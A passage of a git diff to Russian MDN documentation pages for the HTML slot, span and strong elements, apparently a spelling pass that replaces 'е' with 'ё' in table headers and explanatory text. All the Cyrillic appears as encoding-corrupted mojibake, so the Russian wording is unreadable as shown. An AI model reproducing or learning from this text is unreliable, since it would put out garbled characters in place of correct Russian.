+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Π°Ρ ARIA Ρ€ΠΎΠ»ΡŒ</th>
<td>{{ARIARole("menu")}}</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/slot/index.html b/files/ru/web/html/element/slot/index.html
index c87c67b648..84fadbdb9e 100644
--- a/files/ru/web/html/element/slot/index.html
+++ b/files/ru/web/html/element/slot/index.html
@@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/slot
<td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">содСрТаниС Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ</a></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model">ΠŸΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ</a></td>
</tr>
<tr>
@@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/slot
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚<a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content"> содСрТаниС Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ</a></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>Никакой</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/span/index.html b/files/ru/web/html/element/span/index.html
index 3a8788e03e..0e28125455 100644
--- a/files/ru/web/html/element/span/index.html
+++ b/files/ru/web/html/element/span/index.html
@@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/span
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
@@ -34,11 +34,11 @@ translation_of: Web/HTML/Element/span
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ</a> ΠΈΠ»ΠΈ <a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ</a> ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² качСствС содСрТимого.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -67,7 +67,7 @@ translation_of: Web/HTML/Element/span
<h3 id="HTML_2">HTML</h3>
<pre class="brush:html;gutter:false">&lt;li&gt;&lt;span&gt;
- &lt;a href="portfolio.html" target="_blank"&gt;ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΌΠΎΠ΅ ΠΏΠΎΡ€Ρ‚Ρ„ΠΎΠ»ΠΈΠΎ&lt;/a&gt;
+ &lt;a href="portfolio.html" target="_blank"&gt;ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΌΠΎΡ‘ ΠΏΠΎΡ€Ρ‚Ρ„ΠΎΠ»ΠΈΠΎ&lt;/a&gt;
&lt;/span&gt;&lt;/li&gt;
</pre>
diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html
index dfbbabd735..d16b0af54f 100644
--- a/files/ru/web/html/element/strong/index.html
+++ b/files/ru/web/html/element/strong/index.html
@@ -12,7 +12,7 @@ tags:
- Π­Π»Π΅ΠΌΠ΅Π½Ρ‚
translation_of: Web/HTML/Element/strong
---
-<p id="Summary"><span class="seoSummary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <strong>сильной значимости</strong>Β (<strong><code>&lt;strong&gt;</code>)</strong> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ содСрТаниС ΠΈΠΌΠ΅Π΅Ρ‚ большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΡΡ€ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ содСрТимоС ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ.</span></p>
+<p id="Summary"><span class="seoSummary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <strong>сильной значимости</strong>Β (<strong><code>&lt;strong&gt;</code>)</strong> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ содСрТаниС ΠΈΠΌΠ΅Π΅Ρ‚ большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΡΡ€ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ содСрТимоС ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ.</span></p>
<table class="properties">
<tbody>
@@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/strong
<td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
@@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/strong
<td>НСт, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚Π΅Π³, Ρ‚Π°ΠΊ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ‚Π΅Π³.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚Β <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, ΠΈΠ»ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚Β <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA-Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA-Ρ€ΠΎΠ»ΠΈ</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -49,19 +49,19 @@ translation_of: Web/HTML/Element/strong
<h2 id="ЗамСчания_ΠΏΠΎ_использованию">ЗамСчания ΠΏΠΎ использованию</h2>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β <code>&lt;strong&gt;</code>Β ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ "большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅", Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π²Π΅Ρ‰ΠΈ большой ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ срочности (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, прСдупрСТдСния). Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для всСй страницы, ΠΈΠ»ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слова ΠΈΠΌΠ΅ΡŽΡ‚ большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с сосСдним ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β <code>&lt;strong&gt;</code>Β ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ "большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅", Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π²Π΅Ρ‰ΠΈ большой ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ срочности (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, прСдупрСТдСния). Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для всСй страницы, ΠΈΠ»ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слова ΠΈΠΌΠ΅ΡŽΡ‚ большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с сосСдним ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ.</p>
-<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ этот элСмСнт отобраТаСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ с использованиСм ΠΆΠΈΡ€Π½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°. Однако, ΠΎΠ½ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ использован просто для примСнСния ΠΆΠΈΡ€Π½ΠΎΠ³ΠΎ стиля; ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β ΡΠ²ΠΎΠΉΡΡ‚Π²ΠΎ CSS {{cssxref("font-weight")}} для этой Ρ†Π΅Π»ΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("b")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ тСксту Π±Π΅Π· указания Π±ΠΎΠ»Π΅Π΅ высокого уровня ваТности. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("em")}} element для выдСлСния тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π°ΠΊΡ†Π΅Π½Ρ‚.</p>
+<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ этот элСмСнт отобраТаСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ с использованиСм ΠΆΠΈΡ€Π½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°. Однако, ΠΎΠ½ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ использован просто для примСнСния ΠΆΠΈΡ€Π½ΠΎΠ³ΠΎ стиля; ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β ΡΠ²ΠΎΠΉΡΡ‚Π²ΠΎ CSS {{cssxref("font-weight")}} для этой Ρ†Π΅Π»ΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("b")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ тСксту Π±Π΅Π· указания Π±ΠΎΠ»Π΅Π΅ высокого уровня ваТности. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("em")}} element для выдСлСния тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π°ΠΊΡ†Π΅Π½Ρ‚.</p>
<p>Π”Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΌ использованиСм для <code>&lt;strong&gt;</code> являСтся ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ярлыков Π°Π±Π·Π°Ρ†Π΅Π², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈΠ»ΠΈ прСдупрСТдСния Π² тСкстС страницы.</p>
<h3 id="&lt;b>_ΠΏΡ€ΠΎΡ‚ΠΈΠ²_&lt;strong>">&lt;b&gt; ΠΏΡ€ΠΎΡ‚ΠΈΠ² &lt;strong&gt;</h3>
-<p>Π­Ρ‚ΠΎ часто ΠΏΡƒΡ‚Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹Ρ… Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΏΠΎΡ‡Π΅ΠΌΡƒ сущСствуСт Ρ‚Π°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ способов Π²Ρ‹Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ Π½Π° прСдставлСнном Π²Π΅Π±-сайтС. {{HTMLElement("b")}} ΠΈ <code>&lt;strong&gt;</code> Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных источников ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹, заставляя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ сСбС вопрос: Β«Π”ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>&lt;b&gt;</code> ΠΈΠ»ΠΈ <code>&lt;strong&gt;</code>? Π Π°Π·Π²Π΅ ΠΎΠ½ΠΈ Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅?Β»</p>
+<p>Π­Ρ‚ΠΎ часто ΠΏΡƒΡ‚Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹Ρ… Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΏΠΎΡ‡Π΅ΠΌΡƒ сущСствуСт Ρ‚Π°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ способов Π²Ρ‹Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ Π½Π° прСдставлСнном Π²Π΅Π±-сайтС. {{HTMLElement("b")}} ΠΈ <code>&lt;strong&gt;</code> Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых источников ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹, заставляя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ сСбС вопрос: Β«Π”ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>&lt;b&gt;</code> ΠΈΠ»ΠΈ <code>&lt;strong&gt;</code>? Π Π°Π·Π²Π΅ ΠΎΠ½ΠΈ Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅?Β»</p>
<p>НС совсСм. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β <code>&lt;strong&gt;</code> для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ элСмСнт <code>&lt;b&gt;</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для привлСчСния внимания ΠΊ тСксту, Π½Π΅ указывая Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ это Π±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½ΠΎ.</p>
-<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ ΠΈ сСмантичСскими элСмСнтами Π² HTML5, ΠΈ это совпадСниС, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒΒ (ΠΏΠΎΠ»ΡƒΠΆΠΈΡ€Π½Ρ‹ΠΉ) Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² (хотя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ фактичСски ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‚ <code>&lt;strong&gt;</code>). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠ°Ρ… сцСнариСв, ΠΈ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΆΠΈΡ€Π½Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚ просто для ΡƒΠΊΡ€Π°ΡˆΠ΅Π½ΠΈΡ, вмСсто этого Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства CSS {{cssxref("font-weight")}}.</p>
+<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ ΠΈ сСмантичСскими элСмСнтами Π² HTML5, ΠΈ это совпадСниС, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒΒ (ΠΏΠΎΠ»ΡƒΠΆΠΈΡ€Π½Ρ‹ΠΉ) Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² (хотя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ фактичСски ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‚ <code>&lt;strong&gt;</code>). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠ°Ρ… сцСнариСв, ΠΈ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΆΠΈΡ€Π½Ρ‹ΠΉ 